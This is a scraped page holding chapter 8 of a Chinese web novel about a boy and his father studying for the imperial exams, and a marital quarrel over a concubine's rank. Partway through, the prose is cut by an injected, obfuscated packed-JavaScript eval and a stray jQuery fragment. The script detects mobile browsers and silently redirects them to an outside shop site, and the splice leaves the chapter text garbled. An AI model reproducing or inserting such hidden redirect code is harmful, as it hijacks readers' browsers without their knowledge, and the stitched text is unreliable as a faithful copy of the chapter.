文趣网 > 都市小说 > 赘婿之子(科举) > 8. 第 8 章
    第八章

    课间,吕夫子离去。

    见人走远,贺思炆和贺思旸二人率先围过来询问:“时表弟,你怎么这么早就会背《朱子格言》了?”说着,眼里满是羡慕之色。

    “祖父严厉,好些书都提前背过,今日赶巧。”谢时行拿荣安伯做借口,两人半点不曾怀疑,只觉得谢时行和他们一样被家里长辈逼着苦读。

    前头贺思谦和贺思钰年长一些,行事比两个弟弟沉稳许多,虽对谢时行学业尚佳一事有些惊讶,倒也不至于羡慕,只是和谢时行打过招呼后便回去继续温书。是而,书堂内只有贺思炆和贺思旸二人和谢时行说话的声音。

    谢时行一边同二人说着话,一边打量着周围,只见他身后还坐着三人,双眼望着他这边却是没上前说话,只笑着示好,约莫是顾忌贺思炆和贺思旸二人。

    心念一转,谢时行顿时明白这是在家里娘亲提起过的几位庶表兄。

    从前他来宣平侯府都是和娘亲祖母一道前来,见的自然是曾外祖母宣平侯夫人膝下子孙,也就是宣平侯府的嫡出。那些庶出的长辈或是同辈们他甚少见到,一来是因为大户人家内宅分明,庶出若非主母点头或是一家之主的宣平侯刻意吩咐,一般是不能见贵客的。

    祖母荣安伯夫人又是宣平侯夫人的嫡女,不算是外客,更是不必和家中庶出走动。

    因这缘故,谢时行没见过宣平侯府这几位庶表兄。

    在私塾难以避免要见面,虽说嫡庶有别,但身为男儿还是比女子好上许多,可以读书以求建功立业,故而不会对庶子不管教,读书还是一同的。

    谢母担心谢时行在宣平侯府不认人,专门同谢时行好好说了一番宣平侯府有几房人以及各房的子嗣。

    谢时行是嫡子,凭着自家祖母的受宠程度,自然是比宣平侯府的几个庶子地位尊贵些,从私塾提前为他安排的座位便可看出来,他的书案还在几个庶表兄的前面。

    课间时间飞逝,很快便看见吕夫子的身影出现。

    一日结束,谢时行去寿安堂拜别祖母才和谢父邵明仕一同离去。

    马车内,谢时行悄悄打量谢父的面色,眼下谢父求学可比他求学更重要。

    “父亲,你的夫子严厉吗?书塾的吕夫子甚是严厉,白日里炆表兄和旸表兄背不出书被夫子打手板了,他们都哭了。”谢时行状似天真的说着私塾的遭遇,目的却是想询问谢父的情况。

    闻言,谢父笑着摸摸儿子的头道:“那你有没有被夫子责罚?”

    “没有,我背的熟,夫子还夸我。”谢时行摇摇头,继续追问:“那父亲呢?”

    “父亲也没有被夫子责罚。”

    谢父邵明仕回想起白日里被贺嘉言带着去见孟先生,那位孟先生真真是大有来头,出自孔孟之乡孟家后人,已然考取举人功名,没想到这样可以候官的举人竟然能成为他的先生,谢父受宠若惊。

    几番考校之后,孟先生虽未对他有什么夸赞之语,倒也不曾说什么重话,更是答允他可以前去求学。

    他一个小小童生能得一个举人教导,这自然是求之不得。

    这可不是一般的夫子,而是已经考取功名的举人,不仅是学识更加深厚,更重要的是还有科考的经验。大儒自然是满腹经纶,可惜侧重于诗词歌赋,科考场上不会只有诗词歌赋,故而比起德高望重的大儒,还是经历过科考的举人才是谢父邵明仕最想要的夫子。

    谢时行从谢父的语气中听出此行还算顺利,心里大石头瞬间落地。

    父子二人欢欢喜喜归家,谢母谢萦芑见两父子面上带笑,瞬时松了口气。丈夫和儿子头一日去求学,说不担心是假的。

    晚膳后,谢母带着儿子和丈夫去给母亲请安,荣安伯夫人先是对女婿拜师一事细细询问,后又细细问过谢时行私塾上学如何。到底是头一日去宣平侯府读书,自然事无巨细都要告知荣安伯夫人,毕竟是她的娘家。

    说完话后,父子二人都早早离去,他们还要去书房完成父子留下的课业,不能逗留。

    “娘,两个表侄都受训,咱们时哥儿初来乍到却出风头,会不会……?”见人走后,谢萦芑才显露一丝担忧。她们母女现在就指望着外祖家的拉扯,若是外祖家因时哥儿比宣平侯家的孩子聪慧而心有不悦,那她们母女可就没有依靠了。

    荣安伯夫人闻言,拍拍女儿的手安慰道:“不用担忧,时哥儿越有出息咱们越有指望,难道还能为了顾忌旁人心思委屈时哥儿,岂不因小失大?要知道别人给的倚仗再大,那也没有自己腰杆硬来得好。”

    “何况你外祖父不会计较这些,咱们能过的尊贵体面些对宣平侯府来说也是面上有光。”荣安伯夫人对自己娘家还是有信心,当然她也能理解女儿的担忧。

    宣平侯府只是女儿的外祖家,自幼不在宣平侯府长大,做不到她这样信赖也是情有可原。

    谢萦芑听完自家母亲的一番宽慰,豁然开朗:“母亲说的是。”

    之后的日子,谢时行父子二人日日前往宣平侯府读书,京城中果然传出新的闲话,倒是没有人想过谢父要科考,只以为宣平侯此举是帮着女儿撑腰,想要敲打荣安伯,另外便是提拔曾外孙。

    任凭外面如何传闲话,谢时行父子二人一心只读圣贤书,尤其是谢父可谓是两耳不闻窗外事。

    可惜树欲静而风不止,云姨娘怀胎六月时,央求荣安伯将其娘家母亲接到府中照料。这原也没什么,女子怀胎十月艰难,生母陪在身边待产也是情理之中,便是皇家也是这般。

    但哪曾想到这位云姨娘将生母请到府中打的是另外的算盘。

    “云娘已经怀胎六月,月份大,她母亲想为她求一个名分,日后生下孩子也才有尊贵和体面,这事也没说错。”

    蘅芜院内,好几月不曾登

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743987|209186||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    门的荣安伯坐在软榻上,眉头紧蹙,同另一侧的荣安伯夫人说着想要给云姨娘抬名分的事。

    荣安伯夫人面色铁青,深吸几口气,压住心中刺痛冷声道:“她为侯爷孕育子嗣本是有功,自她有孕以来我何曾苛待?早晚请安从未让她来过,价值千金的补品送去栖云阁,她一个妾室过得比我这个正妻还富裕,府内的下人对她恭恭敬敬,三两日便打骂婢女,这都由着她,她竟还觉得自己不尊贵?不体面?”

    “这些事你做的周全,我心里也明白,可府内尊贵体面到底不是名份上的事情。日后云娘腹中孩子生出来,旁人只会说他是庶出,妾室所生,总归是对孩子是不好的。”

    “若她愿意,孩子生下来记在我这个嫡母名下,那自然是嫡出,旁人谁会置喙?”荣安伯夫人半点不听丈夫的借口,直接给出解决的法子。

    荣安伯仍旧坚持道:“生母这关总是过不去的,旁人不可能不提起,云娘的位份抬一抬也是好的。”

    “云姨娘当初不过是从外面买回来的侍女,伯爷看重收了房成为侍妾,出身远不如陪房或是偏房的妾室,说的难听些就是贱妾中的贱妾。自打大夫诊断出喜脉,我已将她抬为副室入族谱,准备彩礼补送到她娘家,这样的贵妾名分还不够,伯爷是想如何?难道还想抬她为侧室?”

    荣安伯夫人怒不可遏,直言逼问。

    面对发妻的逼问,荣安伯沉默不语,显然是默认。

    “侧室需明媒正娶,进门即可入族谱,不同与一般的妾室,正妻死后可升为正妻,伯爷这是盼着我早死给云姨娘腾位置吗?”荣安伯夫人盯着荣安伯沉默的面容,脖颈泛起绯色,咬着牙追问。

    闻听这等污秽言语,荣安伯顿时高声反驳:“你胡言乱语些什么?我何曾有过这样的想法?我不过是想孩子出生后不要让人非议他的出身。”

    “哼,如今云姨娘的胎还没生下来伯爷就想着抬云姨娘为侧室,若是云姨娘生产之后,伯爷恐怕是想将云姨娘抬为平妻和我平起平坐吧?”

    荣安伯夫人红了眼,死死盯着荣安伯的脸继续追问,眼见荣安伯似乎是被戳中心思一般眼神躲闪,瞬时怒火攻心,衣袖一挥将矮几上的茶盏全部扫到地上,发出清脆的声响。

    “伯爷,我是你八抬大轿明媒正娶的正室嫡妻,出身宣平侯府,父亲是正三品兵部侍郎,三个兄长皆有官职在身,我一不病弱,二无过错,你想让我宣平侯府的嫡女同一婢女出身的妾室平起平坐,你可知这意味着什么?”

    荣安伯夫人厉声警告:“伯爷要是如此做,那可就是打宣平侯府的脸了。”

    这一通警示意味的话一出,荣安伯立马态度坚决开口否认:“你不要如此激动,我并未有这样的想法,能给她抬个侧室就已经是顶好的,平妻一事绝无可能!”

    “但愿伯爷真没这心思。”

    荣安伯夫人看着丈夫轻声道。